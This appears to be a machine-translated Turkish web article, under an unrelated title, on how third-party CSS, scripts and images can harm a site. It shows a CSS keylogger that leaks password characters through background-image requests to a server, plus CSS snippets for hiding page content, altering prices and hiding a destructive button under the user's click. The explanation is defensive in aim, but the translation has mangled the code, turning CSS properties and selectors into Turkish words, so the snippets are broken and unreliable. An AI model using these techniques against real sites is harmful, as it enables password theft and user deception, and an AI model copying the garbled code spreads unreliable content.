Menü
Bedava
kayıt
ana  /  programlar/ İnternette makalelerin dağıtımı. Seçenekler ve özellikleri

İnternette makale dağıtımı. Seçenekler ve özellikleri

Üçüncü taraf CSS, JavaScript ve üçüncü taraf sunuculardaki diğer kaynakları kullanarak sitenize nasıl zarar vereceğiniz aşağıda açıklanmıştır.

Şubat ayının sonunda, ağda kısmen CSS kullanan bir keylogger ortaya çıktı. Bunu kullanan saldırı basittir: belirli bir türe (örneğin şifre) sahip bir alana girilen her karakter için, bir arka plan görüntüsü talep ettiği iddia edilen bir üçüncü taraf sunucusuna bir istek oluşturulur:

girdi (arka plan resmi: url ("http: // localhost: 3000 / a"));)

arka plan - resim: url ("http: // localhost: 3000 / a");

İsteklerin sırası sunucuya kaydedilebilir ve girilen şifre kolayca hesaplanabilir.

Sorunu tartışma sürecinde, bazıları tarayıcı üreticilerine sorunu çözmelerini önerdi. Birisi, sorunun yalnızca React benzeri çerçevelere dayalı siteler için geçerli olduğunu fark etti ve suçu onlara kaydırdı.

Üçüncü taraf resimleri

< img src = "https://example.com/kitten.jpg">

Bu tür bir görseli sitenize eklerseniz, example.com'a bağımlı olursunuz. seni ayarlayabilirler Farklı yollarörneğin, bir resmi silin - resim yerine 404 alırsınız. Veya bir kedinin görüntüsünü daha az hoş bir şeyle değiştirebilirler.

Kullanıcılarınızı, görüntünün üçüncü taraf bir kaynaktan eklendiği ve bununla hiçbir ilginizin olmadığı konusunda uyarabilirsiniz. Böylece kendinizi beladan biraz koruyacaksınız. Ama elbette basit bir resim eklediğinizde şifrelere erişim sağlamıyorsunuz.

Üçüncü taraf komut dosyaları

Bu örnek, example.com için çok daha ilginç, çünkü sitelerinden bir komut dosyası ekleyerek onlara kendi siteleri üzerinde çok daha fazla kontrol sağlıyorsunuz. Bu durumda example.com şunları yapabilir:

  • Sayfanın içeriğini okuyun / değiştirin.
  • Her kullanıcı işlemini izleyin.
  • Hesaplanması zor olan bir kod çalıştırın (örneğin, bir kripto madenci).
  • Çerez talep edin.
  • Yerel depolamayı okuyun / değiştirin.

Başka bir deyişle, artık example.com çok şey yapabilir.

Yerel depolama ile etkileşim kurmak gelecekte daha da fazla zorluk getiriyor. Komut dosyası sayfadan kaldırıldıktan sonra bile üçüncü taraf bir kaynağın sitenize erişimi olacaktır. Sitenize üçüncü taraf bir komut dosyası eklerseniz, kaynağa ve güvenliğine kesinlikle güvenmelisiniz.

Hâlâ kötü bir komut dosyasıyla karşılaşırsanız, Clear-Site-Data başlığını kullanmayı deneyin.

Üçüncü taraf CSS'si

< link rel = "stylesheet" href = "https://example.com/style.css">

Site üzerindeki etkisi için üçüncü taraf CSS kodu, resim ve komut dosyası arasında yer almaktadır. Başka birinin CSS'si şunları yapabilir:

  • Sayfadaki içeriği kaldırın / değiştirin / ekleyin.
  • Sayfanın içeriğine göre istekte bulunun.
  • Birçok kullanıcı işlemine tepki verin.

CSS, yerel depolama ile etkileşime giremeyecek ve kripto madenci onu sayfaya gömmeyecek, ancak kaynak sahibine çok zarar verebilir.

tuş kaydedici

Makalenin başından itibaren CSS'yi biraz değiştirmek:

giriş (arka plan resmi: url ("/ şifre? a");)

input [type = "password"] [değer $ = "a"] (

arka plan - resim: url ("/ şifre? a");

Bu kod, bir resim talebi kisvesi altında işleyiciye girilen "a" karakteri hakkında veri gönderir. Kodu her sembol için tekrarlayın ve zaten bir CSS keylogger'ınız var.

Varsayılan olarak, tarayıcılar, değer özniteliğinde kullanıcı tarafından girilen karakterleri saklamaz, bu nedenle bu hile, gibi değerleri senkronize eden bir şey kullanırken işe yarar.

Elbette bu sorun React ve benzeri frameworkler tarafında çözülebilir. Ama sonra sadece özel durum, ve sorunların geri kalanı kalacaktır.

Kaybolan içerik

body (ekran: yok;) html :: after (içerik: "HTTP Sunucusu Sunucusu Hatası";)

vücut (

görüntü yok;

html :: sonra (

içerik: "HTTP Sunucusu Hatası";

Bu, elbette, çok tuhaf bir örnek, ama yine de çalışan bir örnek. Kullanıcılarınızın siteyi ziyaret ettiklerinde her zamanki gibi göreceklerini hayal edin. ana sayfa anlaşılmaz hata Aynı şekilde, üçüncü taraf kodu, örneğin "satın al" düğmesini kaldırabilir veya başka bir sıkıntı yaratabilir.

içerik ekleme

Fiyat-değer :: önce (içerik: "1";)

Fiyat - değer :: önce (

içerik: "1";

Ve aynen böyle, fiyatlarınız fırladı.

İçerik taşıma

Her şeyi sil düğmesi (opaklık: 0; konum: mutlak; üst: 500 piksel; sol: 300 piksel;)

Sil - her şey - düğme (

opaklık: 0;

pozisyon: mutlak;

üst: 500 piksel;

sol: 300 piksel;

Korkunç bir şey yapan ve kullanıcının tıklamayacağı bir düğme alın, şeffaf yapın ve kullanıcının tıklayacağı yere yerleştirin.

Elbette, düğme gerçekten önemli bir şey yaparsa, kullanıcı önce bir uyarı iletişim kutusu görecektir. Ama bu da sorun değil: sadece daha fazla CSS'ye ihtiyacınız var. Örneğin, "Aman Tanrım, hayır!" düğmesinin içeriğini "Elbette eminim" olarak değiştirebilirsiniz.

Tarayıcı üreticilerinin keylogger hilesini değiştirdiğini hayal edin. Saldırganlar, önemli bir şifre alanının üstüne fazladan bir metin alanı yerleştirir ve işe geri dönerler.

Nitelikleri Okuma

Parolalar mutlaka değer ve diğer özelliklerde saklanmaz: bir saldırgan başka ilginç bir şey bulabilir.